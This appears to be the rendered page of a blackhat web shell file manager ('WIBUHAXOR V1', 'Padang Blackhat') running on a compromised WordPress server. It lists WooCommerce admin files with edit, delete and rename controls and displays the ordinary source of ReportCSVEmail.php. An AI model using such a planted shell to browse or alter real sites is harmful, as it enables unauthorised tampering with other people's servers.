-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
woocommerce
/
packages
/
woocommerce-admin
/
src
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
API
--
NONE
Composer
--
NONE
DateTimeProvider
--
NONE
Features
--
NONE
Marketing
--
NONE
Notes
--
NONE
Overrides
--
NONE
PluginsProvider
--
NONE
RemoteInboxNotifications
--
NONE
Schedulers
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
CategoryLookup.php
7.606KB
Edit File
Delete File
Rename
DataSourcePoller.php
5.54KB
Edit File
Delete File
Rename
DeprecatedClassFacade.php
2.304KB
Edit File
Delete File
Rename
Events.php
6.14KB
Edit File
Delete File
Rename
FeaturePlugin.php
9.206KB
Edit File
Delete File
Rename
Install.php
17.212KB
Edit File
Delete File
Rename
Loader.php
45.304KB
Edit File
Delete File
Rename
PageController.php
14.209KB
Edit File
Delete File
Rename
PaymentMethodSuggestionsDataSourcePoller.php
2.131KB
Edit File
Delete File
Rename
PluginsHelper.php
3.139KB
Edit File
Delete File
Rename
PluginsInstaller.php
3.161KB
Edit File
Delete File
Rename
ReportCSVEmail.php
3.562KB
Edit File
Delete File
Rename
ReportCSVExporter.php
9.495KB
Edit File
Delete File
Rename
ReportExporter.php
6.281KB
Edit File
Delete File
Rename
ReportsSync.php
5.901KB
Edit File
Delete File
Rename
Survey.php
0.741KB
Edit File
Delete File
Rename
WCAdminHelper.php
2.695KB
Edit File
Delete File
Rename
WCAdminSharedSettings.php
1.488KB
Edit File
Delete File
Rename
<?php /** * Handles emailing users CSV Export download links. */ namespace Automattic\WooCommerce\Admin; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Include dependencies. */ if ( ! class_exists( 'WC_Email', false ) ) { include_once WC_ABSPATH . 'includes/emails/class-wc-email.php'; } /** * ReportCSVEmail Class. */ class ReportCSVEmail extends \WC_Email { /** * Constructor. */ public function __construct() { $this->id = 'admin_report_export_download'; $this->template_base = dirname( __DIR__ ) . '/includes/emails/'; $this->template_html = 'html-admin-report-export-download.php'; $this->template_plain = 'plain-admin-report-export-download.php'; $this->report_labels = array( 'categories' => __( 'Categories', 'woocommerce' ), 'coupons' => __( 'Coupons', 'woocommerce' ), 'customers' => __( 'Customers', 'woocommerce' ), 'downloads' => __( 'Downloads', 'woocommerce' ), 'orders' => __( 'Orders', 'woocommerce' ), 'products' => __( 'Products', 'woocommerce' ), 'revenue' => __( 'Revenue', 'woocommerce' ), 'stock' => __( 'Stock', 'woocommerce' ), 'taxes' => __( 'Taxes', 'woocommerce' ), 'variations' => __( 'Variations', 'woocommerce' ), ); // Call parent constructor. parent::__construct(); } /** * This email has no user-facing settings. */ public function init_form_fields() {} /** * This email has no user-facing settings. */ public function init_settings() {} /** * Return email type. * * @return string */ public function get_email_type() { return class_exists( 'DOMDocument' ) ? 'html' : 'plain'; } /** * Get email heading. * * @return string */ public function get_default_heading() { return __( 'Your Report Download', 'woocommerce' ); } /** * Get email subject. * * @return string */ public function get_default_subject() { return __( '[{site_title}]: Your {report_name} Report download is ready', 'woocommerce' ); } /** * Get content html. * * @return string */ public function get_content_html() { return wc_get_template_html( $this->template_html, array( 'report_name' => $this->report_type, 'download_url' => $this->download_url, 'email_heading' => $this->get_heading(), 'sent_to_admin' => true, 'plain_text' => false, 'email' => $this, ), '', $this->template_base ); } /** * Get content plain. * * @return string */ public function get_content_plain() { return wc_get_template_html( $this->template_plain, array( 'report_name' => $this->report_type, 'download_url' => $this->download_url, 'email_heading' => $this->get_heading(), 'sent_to_admin' => true, 'plain_text' => true, 'email' => $this, ), '', $this->template_base ); } /** * Trigger the sending of this email. * * @param int $user_id User ID to email. * @param string $report_type The type of report export being emailed. * @param string $download_url The URL for downloading the report. */ public function trigger( $user_id, $report_type, $download_url ) { $user = new \WP_User( $user_id ); $this->recipient = $user->user_email; $this->download_url = $download_url; if ( isset( $this->report_labels[ $report_type ] ) ) { $this->report_type = $this->report_labels[ $report_type ]; $this->placeholders['{report_name}'] = $this->report_type; } $this->send( $this->get_recipient(), $this->get_subject(), $this->get_content(), $this->get_headers(), $this->get_attachments() ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat